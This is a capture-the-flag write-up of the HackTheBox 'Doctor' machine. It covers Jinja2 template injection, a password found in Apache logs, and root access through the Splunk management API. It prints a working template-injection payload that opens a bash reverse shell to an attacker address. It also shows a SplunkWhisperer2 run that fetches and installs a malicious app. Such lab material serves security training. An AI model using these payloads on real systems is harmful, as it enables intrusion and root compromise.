Doctor Writeup - HackTheBox
Doctor is a Linux box running a Flask application next to a Splunk instance. The chain runs: a hidden route that renders user messages into an RSS feed, Jinja2 template injection in that route, a password accidentally logged into an Apache access log, and the Splunk management API installing an app that runs as root.
Reconnaissance
Port scan
Open $TARGET_IP:22 Open $TARGET_IP:80 Open $TARGET_IP:8089
Explain command
| -a $TARGET_IP | Address to sweep for open ports across the full range. |
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8089/tcp open ssl/unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
| -sCV | Run the default script set and probe service versions. |
| -T4 | Faster timing template, safe against a lab target. |
| -p22,80,8089 | Limit the scan to the ports rustscan already found open. |
SSH, Apache, and an SSL service on 8089 that nmap cannot name from the banner. That one is worth coming back to once the web application is exhausted. The site on 80 lists a contact address at doctors.htb, which is the real domain.
Enumeration
Virtual hosts
www [Status: 302, Size: 237, Words: 22, Lines: 4]
Explain command
| -H "Host: FUZZ.doctors.htb" | Fuzz the Host header rather than the path, testing virtual hosts. |
www.doctors.htb redirects to a login page and allows self registration, so an account is a single form away. Inside, messages posted to the dashboard render as expected. The page source carries a route the developers hid rather than removed.
<!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
/archive is still live and returns the posted messages as an RSS feed, with the message text dropped into the title element.
Vulnerability Discovery
Template injection
User input reaching a renderer that produces structured output is worth probing for server side template injection. Posting {{7*7}} as a message and reloading the feed answers it.
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title>Archive</title>
<item><title>49</title></item>
</channel>
The expression was evaluated instead of printed, so the message text passes through Jinja2 before serialisation. Jinja2 runs on Python objects, and Flask hangs the application object off the request, which is the standard route out of the template sandbox and into arbitrary code.
Exploitation
From template to shell
{{ request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"').read() }}
Each hop matters: request.application reaches the live Flask app, __globals__ reaches the module namespace it was defined in, __builtins__ reaches the builtins Jinja2 tries to keep out of templates, and __import__ pulls in os without an import statement. Saving that as a message and loading /archive renders it, which executes it.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 50322 bash: no job control in this shell web@doctor:~$ id uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
Explain command
| -l | Listen for an incoming connection instead of dialing out. |
| -v | Verbose output so the inbound connection is visible. |
| -n | Skip DNS resolution on the connecting address. |
| -p $ATTACKER_PORT | Local port the reverse shell connects back to. |
Foothold as web, and the account is in the adm group, which on Ubuntu exists to give non-root accounts read access to /var/log. That decides the next step.
Lateral Movement
Credentials in the logs
/var/log/apache2/backup:$CLIENT_IP - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=$SHAUNS_PASSWORD" 500 453 "http://doctor.htb/reset_password" <snip>
Explain command
| -R | Recurse through the log directory. |
| -e 'password' | Match the literal string anywhere in the logs. |
The email parameter of a password reset holds something that is clearly not an email address. Someone typed a password into the wrong field and Apache logged the full query string. The site names shaun as a user, and the value works as his password.
Password: shaun@doctor:/var/log$ whoami shaun
Privilege Escalation
Identifying port 8089
PORT STATE SERVICE VERSION 8089/tcp open ssl/http Splunkd httpd | ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser |_http-title: splunkd
That is the Splunk management API. It accepts app bundles over the network, and an app can carry a script that Splunk runs on install, so valid credentials on that port are equivalent to command execution. SplunkWhisperer2 automates the packaging and install.
Unauthenticated it refuses immediately.
[.] Authenticating... Authentication failure <msg type="ERROR">Unauthorized</msg>
Splunk keeps its own account database, but the password from the log is worth trying there as well, since it already crossed one boundary on this box.
[.] Authenticating... [+] Authenticated [.] Creating malicious app bundle... [+] Created malicious app bundle in: /tmp/tmp_wjylygv.tar [+] Started HTTP server for remote mode [.] Installing app from: http://$ATTACKER_IP:8181/ [+] App installed, your code should be running now!
Explain command
| --host $TARGET_IP | Splunk instance to authenticate against. |
| --lhost $ATTACKER_IP | Address the target fetches the app bundle from. |
| --payload id | Command the installed app executes on the target. |
Splunk runs as root here, which is common where it has to read privileged log sources, so the installed app executes as root. Swapping the payload for a named pipe reverse shell turns that into a session.
[.] Authenticating... [+] Authenticated [.] Installing app from: http://$ATTACKER_IP:8181/ [+] App installed, your code should be running now!
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 53634 sh: 0: can't access tty; job control turned off # whoami root
Root through the app install path. User, lateral movement and root are all covered.
Related
References
-
Packages and installs a malicious Splunk app through the management API on 8089.
-
Jinja2 template documentationLINK: Jinja2 template documentation, jinja.palletsprojects.com/en/stable/templates (opens in new tab)
Reference for the expression syntax that made the {{7*7}} probe evaluate.